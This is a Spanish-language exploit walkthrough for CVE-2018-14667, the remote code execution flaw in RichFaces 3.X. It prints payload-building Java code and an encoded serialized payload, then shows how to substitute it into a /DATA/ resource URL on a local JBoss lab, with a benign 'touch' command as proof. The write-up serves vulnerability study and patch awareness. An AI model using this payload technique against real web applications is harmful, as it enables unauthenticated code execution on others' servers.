
Todo sobre CVE-2018-14667; Desde qué es hasta cómo explotarlo con éxito.
Después de pasar mucho tiempo para entender y explotar correctamente este CVE, decidí construir un repositorio sobre el bug RCE de RichFaces 3.X y compartir los HOWTOs paso a paso con la comunidad.
0x00 : Introducción sobre el bug de RichFaces 3.X
El lunes 19 de noviembre, Joao F M Figueiredo publicó un artículo muy detallado (https://seclists.org/fulldisclosure/2018/Nov/47) sobre una vulnerabilidad crítica de alto riesgo en RichFaces.
Puntuación Base CVSS3: 9.8
Esta vulnerabilidad permitirá a cualquier usuario no autenticado ejecutar código de forma remota en cualquier aplicación web que utilice RichFaces 3.X (todas las versiones), lo que es prácticamente el peor escenario.
0x01 : ¿Estoy afectado? ![]()
Bueno, si estás ejecutando RichFaces 3.X (cualquier versión de RichFaces 3) y ves el siguiente código en tu fuente, es probable que sí, podrías ser vulnerable a la ejecución remota de código en CVE-2018-14667:
0x02 : Ejecutar un entorno vulnerable para probar el bug ![]()
Básicamente, volveré a explicar lo que ya se ha cubierto en el artículo de seclists.org sobre cómo desplegar un entorno vulnerable.
0x03 : Generar un payload válido ![]()
¡Ahora la parte divertida! Aquí es donde he experimentado dificultades, así que explicaré en detalle cómo generar un payload válido y sin repetir los mismos errores que cometí. Sugeriría primero usar Eclipse para compilar el payload.
// Class clazz = Class.forName("javax.el.MethodExpression");
// Field field = clazz.getField("serialVersionUID");
// field.setAccessible(true);
// Field modifiersField = Field.class.getDeclaredField("modifiers");
// modifiersField.setAccessible(true);
// modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
// field.setLong(null, MethodExpressionSerialVersionUID);
El resultado de tu salida en Eclipse debería verse así:
/DATA/eAHNVU1rE0EYnkarbf2qtqhVhLiKTUVmW6mHWgOFKiqkFpq2fvQgk82bZOJ-dWY2WSwVRUSwIkjxpiJ4bS!6B!ToJ9Jf4EEREUEE8SbOzKaJDeqhp-xpZvfZ533med59d-ErauYMHfRYHpMiCfuLPIcZcC9gFuAJDmysstk!wehxIghSV8eRLzG0NoU2WQyIgGHPFeAKgbaliqRETJu4eXM0UwRLDKbQegh9Kjmn0RXUlEItjpelOQrZyr65ROwA9Cb0pZYDiiLEOWIBx5bn-J4ruXFayEKnPDsLLE1KwM6!fJqcv!9mJIZiKdRq2YTzM8SBlRrSglE3LzW0cflOVnMItD1SST0zDYwSm14mGRsGQ1-V75YlMQ9cLcAGwTHYeJzkR0AUvOyJ0Jcn4dRztQ8INW1EKGSoKxItofW4J-bLuQ8!--!ENK6jiqsxPb5xK!39wtIxhVAKBlQYjFqFyIKAYuL7NrWIkGUjH-qLnGUSAgwn7l07ujD2UXvSmSEcohBqtQTapQ8fmmCbk8r42jNp0zqfMB3k7hqqvtZgqLJqkULjSmgx43HtUR3bace3BxZn287Ni-7Io53Vs9dBy21Xp94!-3VXGaC4W8uP0PV9MwymA-AC50EMq3gTPdVlyiOyD-QNWy6ih4Zix6rz8FjgCuqAofGR!IQhWWr3qVvyLkHCDWy7B0MIVsIQXmAV4qZwfJOoy-iZ!U-qvh9KA!auMKDeKOVA5tuOHxuebx1RDmjbyjcb42goYKhjSqccmVb5VBaXJj993jNzUjej7PGYQJ3aWerh0UD4gZBAII5A7TXDoy6TnpSX0Duz2rqmA1lKordMCIn0A7hZ9CGf1mscFoRjx4d6D!XGh!r6Dvf1J40VAyXZAE1ghHpwrdGj6R-zoa6f!xwNKvR2zbCl!ADNNcCB4hCNY7RZBxgIamM52EHF9xa9Xl18BTleL-YCN2lU2BsrOpVCVyWFh-h2I6Sw!Bf8Wwyv0IvVxVAMuEgay9SNkYFALao7xuUo!w0w9PXD.jsf
0x04 : Enviar tu payload y obtener Ejecución Remota de Código ![]()
Navega en tu navegador a tu servidor JBoss local que ejecuta la Aplicación Web PhotoAlbum http://192.168.100.2:8080/photoalbum y haz clic derecho para ver el código fuente. Presiona Ctrl+F y busca '/DATA/'. Deberías encontrar algo similar a esto:
src="/photoalbum/a4j/s/3_3_3.Finalorg.ajax4jsf.resource.UserResource/n/n/DATA/eAF1Uk1rFEEQrQwGEz9AXVFyCMQoCiI9JCZeYkBQ0cCsQccI6ql2pna2h57ptrtndzDozYuCF6!evOpFf4HXgJf8BkFEBBHEq929QUnAvlXx6r1Xr!rtd5g0Gs5LXTAssV0qTZ9pMrLRGbENQ!rOTnFmQ!NraBH86yx!i2BfAoczTWjpqqwt1dbCsaTEIcYC6yJe75WU2ZUE9lOruON8BE9hIoGpSua8zynfqSeHKBoKRaucl7OeomV9zMiwTFZK1o6bpdYJ3ZQiJ53ikPT9rQ-rr15!6kYQJTCdCTTmFla020NqNa8L5-GAcTN54LBwYuySyzglzVHwx9gTtNIqL3!OSTLT1MGAIGsYCXYXiy7Zgcyvt8ptYrisQw4AE4cAWg0zY9MOuhf3Pt568fn30sso4Dp!cf-Y3jx7nv58sH3ZI7yDU!4YZU-aIL2Xb61Sovfj5K-DH492vbYPbmo0CzOnN3mFBSUSXURMIa!tmm88AWg0dB6GpZk!jcsyxPJu-96Xr7ObN4Kw2yeycNz7Y1yy9caqxjogYWXhSGiH2fFZlWpHKdyOeZ2JJicTB-3YCO6KgRyxdmArMXfl4sKFhcVLc7u-yer8f63OuxuoP9Xj4!8_" style="opacity: 0.1" class="main-image"><span class="rich-tool-tip tooltip"
Puedes ver claramente el objeto serializado. Aquí es donde reemplazaremos el objeto serializado por nuestro payload para obtener ejecución remota de código. En tu navegador, cambia la URL a http://192.168.100.2:8080/photoalbum/a4j/s/3_3_3.Finalorg.ajax4jsf.resource.UserResource/n/n/DATA/YOUR-PAYLOAD-GENERATED-IN-ECLIPSE. Mi payload ejecutaba el siguiente comando 'touch /tmp/PoorRichFaces'. Veamos si tuve éxito:
drwxrwxrwt 12 root root 32768 Nov 30 01:45 .
drwxr-xr-x 25 root root 4096 Nov 25 12:57 ..
-rw-rw-r-- 1 syrius syrius 0 Nov 30 1:27 PoorRichFaces
Se siente bien, ¿verdad? Acabamos de obtener RCE en una aplicación web Java que ejecuta RichFaces 3.X.
0x05 : ¿Cómo parchear? ![]()
Puede que no te guste este hecho, así que prepárate y agárrate a tu teclado; RichFaces ha llegado al final de su vida útil en cuanto al soporte de su producto, por lo que los usuarios (tú) deben aplicar su propio parche. No entres en pánico, si no encuentras una forma de parchear, no dudes en contactarme, podemos hacer un arreglo para que pueda parchear tus aplicaciones web Java.
E-mail: [email protected]